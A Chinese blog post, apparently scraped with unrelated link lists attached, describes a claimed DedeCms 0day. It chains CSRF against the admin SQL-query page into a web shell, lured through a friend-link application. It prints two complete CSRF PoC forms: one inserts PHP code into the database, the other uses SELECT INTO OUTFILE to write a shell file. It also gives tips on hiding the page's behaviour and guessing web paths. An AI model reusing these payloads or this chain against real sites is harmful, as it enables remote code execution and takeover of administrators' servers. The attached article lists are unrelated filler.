我是如何通过CSRF拿到Shell的
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。
最近我在搭建这个系统的时候偶然间发现了一个有趣的现象,织梦的后台竟然有一个可以直接执行SQL语句的功能,出于职业敏感,能直接执行SQL语句的地方往往会有一些漏洞。又经过一番查找发现了它后台存在一个CSRF的漏洞,一般情况下像这种漏洞都是不怎么能引起人们的关注的,毕竟是要通过交互才能起作用,而且起的作用还不大。以为到此就结束了吗?并不是。
这里根本形不成一个有效的攻击链,不过我又发现了一个很有意思的地方,这个cms是可以在前台直接提交友链申请的,那么问题来了?你提交了友链申请管理员审核的时候怎么可能不去浏览一下你的网站。于是有了下面的一套getshell的流程。
受影响的版本<=官方最新版本(V57UTF8SP2)这是一个0day哦!!
实验环境 :win10,wamp
1.首先我们构造一个向数据库中插入SHELL语句的恶意页面
(这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。
页面的代码如下:
<html> <!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="INSERT INTO dede_flink(id,sortrank,url,webname,msg,email,logo,dtime,typeid,ischeck)VALUES('1','1','www.baidu.com','1','<?php phpinfo();?>','1','1','1','1','1');" />
<input type="hidden" name="imageField.x" value="42" />
<input type="hidden" name="imageField.y" value="17" />
<input type="submit" value="Submit request" />
</form> </body>
</html>
2.此时我将该页面放置在我自己的服务器上
这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。

3.然后我去受害网站上提交一个友链申请
将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。

4.然后提交,等待管理员审核
管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态)
5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行
此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了<?php phpinfo() ?>

6.此时无论管理员通过或者是不通过,我们的代码已经插入
此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多)
下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body> <
form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">
<input type="hidden" name="dopost" value="query" />
<input type="hidden" name="querytype" value="2" />
<input type="hidden" name="sqlquery" value="SELECT msg FROM dede_flink WHERE url="www.baidu.com" INTO OUTFILE "../../../../www/dedecms/21111.php"" />
<input type="hidden" name="imageField.x" value="38" />
<input type="hidden" name="imageField.y" value="15" />
<input type="submit" value="Submit request" />
</form>
</body></html>

7.此时我们如上步骤3所示,提交一个该页面的友链申请
当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。


这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。
我是如何通过CSRF拿到Shell的的更多相关文章
- (二)Linux Shell编程——运算符、注释
2.7 Shell运算符 Bash 支持很多运算符,包括算数运算符.关系运算符.布尔运算符.字符串运算符和文件测试运算符.原生bash不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 ...
- Shell脚本传递带有空格的参数
在另一博文<Shell脚本实现DB2数据库表导出到文件>中实现了通过脚本实现将DB2数据库导出到文件,需要传入七个参数,最后一个是一个带有空格字符串,所以传入的时候有点问题,会自动识别空格 ...
- 用 shell 脚本做日志清洗
问题的提出 公司有一个用户行为分析系统,可以记录用户在使用公司产品过程中的一系列操作轨迹,便于分析产品使用情况以便优化产品 UI 界面布局.这套系统有点类似于 Google Analyse(GA),所 ...
- 网站统计中的数据收集原理及实现(share)
转载自:http://blog.codinglabs.org/articles/how-web-analytics-data-collection-system-work.html 网站数据统计分析工 ...
- 使用nginx lua实现网站统计中的数据收集
导读网站数据统计分析工具是各网站站长和运营人员经常使用的一种工具,常用的有 谷歌分析.百度统计和腾讯分析等等.所有这些统计分析工具的第一步都是网站访问数据的收集.目前主流的数据收集方式基本都是基于ja ...
- 2.html5的基本格式
分享完html语言的核心之后,是时候开始写了.理论上,只要符合格式要求,就算是用记事本也可以写.但是,这种蛋疼且生产力低下的行为还是少做的好,选一个适合自己的IDE才是上上之选,至于哪个合适自己,那就 ...
- laravel学习前期遇到的小知识点(1)
1. 目前我用的laravel 5.2.36版本web中间件成为全局中间件(不知道从5.2.26以上就改变了还是怎样,没有深究),也就是之前的版本路由里默认会有一个Route::group的web中间 ...
- 利用linux curl爬取网站数据
看到一个看球网站的以下截图红色框数据,想爬取下来,通常爬取网站数据一般都会从java或者python爬取,但本人这两个都不会,只会shell脚本,于是硬着头皮试一下用shell爬取,方法很笨重,但旨在 ...
- 【HTB系列】靶机Querier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 总结与反思: 1.收集信息要全面 2.用snmp-check检查snmp目标是否开启服务 ...
随机推荐
- MySQL数据库详解(二)执行SQL更新时,其底层经历了哪些操作?
前面我们系统了解了一个查询语句的执行流程,并介绍了执行过程中涉及的处理模块.相信你还记得,一条查询语句的执行过程一般是经过连接器.分析器.优化器.执行器等功能模块,最后到达存储引擎. 那么,一条更 ...
- Diango 一——URL
内容概要 1.web框架初识 2.MTV模式 3.Django创建流程和命令行工具 4.配置文件 settings 5.视图函数 views 6.路由系统 URL 7.模板系统 templat ...
- webdriver高级应用- 测试过程中发生异常或断言失败时进行屏幕截图
封装了三个类来实现这个功能: 1.DataUtil.py 用于获取当前的日期以及时间,用于生成保存截图文件的目录名,代码如下: #encoding=utf-8 import time from dat ...
- 【bzoj4080】[Wf2014]Sensor Network 随机化
题目描述 魔法炮来到了帝都,除了吃特色菜之外,还准备去尝一尝著名的北京烤鸭.帝都一共有n(1<=1<=100)个烤鸭店,可以看成是二维平面内的点.不过由于魔法炮在吃烤鸭之前没有带钱,所以吃 ...
- bzoj3730 [震波][动态树分治+线段树+LCA]
震波 Time Limit: 15 Sec Memory Limit: 256 MBSubmit: 1573 Solved: 358[Submit][Status][Discuss] Descri ...
- springboot中的controller注解没有生效
springboot中的controller注解没有生效 , 启动的Application类没有在controller的父目录或同级目录
- element-ui 的 upload组件的clearFiles方法调用方法
<template> <div> <el-button @click="clearUploadedImage">重新上传</el-butt ...
- stein法求gcd 学习笔记
原理显然 由于当x,y都为奇数时进行辗转相见 每次减完必有偶数 而偶数最多除log次 那么也最多减log次 复杂度有保证 注:代码未验证 int gcd(int x,int y){ int res=1 ...
- foj Problem 2283 Tic-Tac-Toe
Prob ...
- CodeforcesD. Aztec Catacombs
$n \leq 300000$的完全无向图,每条边有可行和不可行的状态,一开始只有$m \leq 300000$条边是可行的,给出.每次从$x$走到$y$时,所有与$x$相连的边的可行/不可行状态会改 ...